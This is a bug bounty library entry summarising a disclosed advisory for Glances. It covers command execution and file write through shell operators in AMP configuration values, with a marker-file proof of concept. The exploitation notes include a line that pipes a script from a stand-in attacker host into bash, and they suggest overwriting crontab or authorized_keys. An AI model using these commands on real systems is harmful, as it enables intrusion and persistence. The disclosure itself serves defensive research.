# Glances has arbitrary file write and command execution via `secure_popen` redirection and chaining operators in AMP command configuration

Glances secure_popen interprets >, |, && in AMP command config values, letting anyone who can edit glances.conf write arbitrary files and execute commands.

- Payout: Research
- Severity: high
- Program: Glances
- Found by: sondt99, dungNHVhust
- Disclosed: 2026-06-23
- CVE: CVE-2026-53925
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3vwc-qwhc-3mj7
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3vwc-qwhc-3mj7
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:command-injection vuln:path-traversal

**Target:** AMP command configuration in glances.conf processed by secure_popen()
**Root cause:** secure_popen() reimplements shell-like parsing of >, |, && without validating redirect paths or chained/piped commands, and AMP command/service_cmd config values are passed to it unsanitized.
**Steps:**
1. Create a config with `[amp_poc]` section containing `command=echo POC_ARBITRARY_FILE_WRITE > /tmp/cve-poc-marker-amp`
2. Load it via `Config(config_dir='/tmp/poc-glances.conf', disable_config_exec=True)` and read `config.get_value('amp_poc', 'command')`
3. Pass the value to `secure_popen(command)` as amps/default/__init__.py does
4. Observe `/tmp/cve-poc-marker-amp` created containing `POC_ARBITRARY_FILE_WRITE`, proving arbitrary file write despite --disable-config-exec
**How found:** Code review of secure_popen() revealed it parses >, |, && operators; tracing AMP load_config() showed config values reach it unsanitized, and testing confirmed the --disable-config-exec flag (added for CVE-2026-33641) only blocks backticks, not these operators.
**Exploitation:** Attacker who can modify glances.conf (via separate file-write bug, shared filesystem, config management, or container volume) sets an AMP command using `>` to overwrite files like /etc/crontab or ~/.ssh/authorized_keys, or `&&`/`|` to run arbitrary commands such as `echo x && curl http://attacker.com/shell.sh | bash`, executing as the Glances process user.
**Escalation:** Arbitrary file write to /etc/crontab or authorized_keys escalates to code execution; && and | give direct command execution and data exfiltration.
**Insight:** When a prior fix adds a flag like --disable-config-exec, check whether the dangerous sink is downstream of the guarded layer: here backtick execution was blocked in get_value() but the same string still hit secure_popen()'s own operator parser.

## Proof of concept (copied exactly from the original report)

**Malicious AMP config with redirection payload**

```
cat > /tmp/poc-glances.conf << 'EOF'
[amp_poc]
enable=true
regex=.*
refresh=3
command=echo POC_ARBITRARY_FILE_WRITE > /tmp/cve-poc-marker-amp

[outputs]
cors_origins=*
EOF
```

**Python script executing secure_popen on AMP command**

```
import sys
sys.path.insert(0, '/path/to/glances')
from glances.config import Config
from glances.secure import secure_popen
import os

# Load config with --disable-config-exec ACTIVE (CVE-2026-33641 mitigation)
config = Config(config_dir='/tmp/poc-glances.conf', disable_config_exec=True)

# Read AMP command value (same as amp.py load_config)
command = config.get_value('amp_poc', 'command')
print(f'Command: {command!r}')

# Execute (same as amps/default/__init__.py line 69)
marker = '/tmp/cve-poc-marker-amp'
assert not os.path.exists(marker), 'Clean state required'
result = secure_popen(command)
print(f'Result: {result!r}')

# Verify arbitrary file write occurred
assert os.path.exists(marker), 'VULNERABILITY NOT CONFIRMED'
with open(marker) as f:
    content = f.read()
print(f'Written to {marker}: {content!r}')
assert 'POC_ARBITRARY_FILE_WRITE' in content

# Cleanup
os.remove(marker)
print('CONFIRMED: Arbitrary file write via secure_popen > in AMP command')
```

